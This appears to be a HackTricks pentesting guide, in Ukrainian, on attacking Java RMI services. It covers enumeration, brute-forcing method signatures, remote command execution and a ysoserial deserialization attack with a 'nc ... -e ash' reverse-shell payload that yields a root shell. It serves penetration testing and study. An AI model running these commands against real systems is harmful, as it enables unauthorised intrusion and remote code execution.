hacktricks/src/network-services-pentesting/1099-pentesting-java-rmi.md

297 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
_Java Remote Method Invocation_, або _Java RMI_, є об'єктно-орієнтованим механізмом _RPC_, який дозволяє об'єкту, розташованому в одній _Java віртуальній машині_, викликати методи на об'єкті, розташованому в іншій _Java віртуальній машині_. Це дозволяє розробникам створювати розподілені програми, використовуючи об'єктно-орієнтовану парадигму. Коротке введення в _Java RMI_ з наступальної перспективи можна знайти в [цьому виступі blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
**Порт за замовчуванням:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Зазвичай лише стандартні компоненти _Java RMI_ (_RMI Registry_ та _Activation System_) прив'язані до загальних портів. _Віддалені об'єкти_, які реалізують фактичний _RMI_ додаток, зазвичай прив'язані до випадкових портів, як показано у виводі вище.
_nmap_ іноді має проблеми з ідентифікацією _SSL_ захищених _RMI_ сервісів. Якщо ви натрапите на невідомий ssl сервіс на загальному _RMI_ порту, вам слід провести подальше розслідування.
## Компоненти RMI
Простими словами, _Java RMI_ дозволяє розробнику зробити _Java об'єкт_ доступним в мережі. Це відкриває _TCP_ порт, до якого клієнти можуть підключатися та викликати методи на відповідному об'єкті. Незважаючи на те, що це звучить просто, існує кілька викликів, які _Java RMI_ потрібно вирішити:
1. Щоб передати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт).
2. Віддалені клієнти можуть виділяти ресурси на сервері, викликаючи методи на відкритому об'єкті. _Java віртуальна машина_ повинна відстежувати, які з цих ресурсів все ще використовуються, а які можуть бути зібрані сміттям.
Перший виклик вирішується за допомогою _RMI реєстру_, який в основному є службою імен для _Java RMI_. Сам _RMI реєстр_ також є _RMI сервісом_, але реалізований інтерфейс та `ObjID` є фіксованими та відомими всім _RMI_ клієнтам. Це дозволяє _RMI_ клієнтам використовувати _RMI_ реєстр, просто знаючи відповідний _TCP_ порт.
Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під людським зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Другий з вищезгаданих викликів вирішується за допомогою _Distributed Garbage Collector_ (_DGC_). Це ще одна _RMI service_ з відомим значенням `ObjID` і вона доступна практично на кожному _RMI endpoint_. Коли _RMI client_ починає використовувати _RMI service_, він надсилає інформацію до _DGC_, що відповідний _remote object_ використовується. _DGC_ може відстежувати кількість посилань і здатний очищати невикористовувані об'єкти.
Разом з застарілою _Activation System_, це три стандартні компоненти _Java RMI_:
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
Стандартні компоненти _Java RMI_ відомі як вектори атак протягом досить тривалого часу, і в застарілих версіях _Java_ існує кілька вразливостей. З точки зору атакуючого, ці стандартні компоненти є цікавими, оскільки вони реалізують відомі класи / інтерфейси, і з ними легко взаємодіяти. Ця ситуація відрізняється для кастомних _RMI services_. Щоб викликати метод на _remote object_, вам потрібно заздалегідь знати відповідний підпис методу. Без знання існуючого підпису методу немає способу зв'язатися з _RMI service_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви ідентифікуєте _RMI_ endpoint, вам слід спробувати:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Вихід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості.
Значення `ObjID`, які відображає _remote-method-guesser_, можна використовувати для визначення часу безперервної роботи служби. Це може дозволити виявити інші вразливості:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з кастомними _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
На жаль, _Java RMI_ не підтримує енумерацію методів на _remote objects_. Тим не менш, можливо здійснити брутфорс підписів методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Визначені методи можна викликати таким чином:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Або ви можете виконати атаки десеріалізації ось так:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Більше інформації можна знайти в цих статтях:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Окрім вгадування, вам також слід шукати в пошукових системах або _GitHub_ інтерфейс або навіть реалізацію виявленого _RMI_ сервісу. _Bound name_ та назва реалізованого класу або інтерфейсу можуть бути корисними тут.
## Відомі інтерфейси
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони перераховані в внутрішній базі даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Automatic Commands
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
{{#include ../banners/hacktricks-training.md}}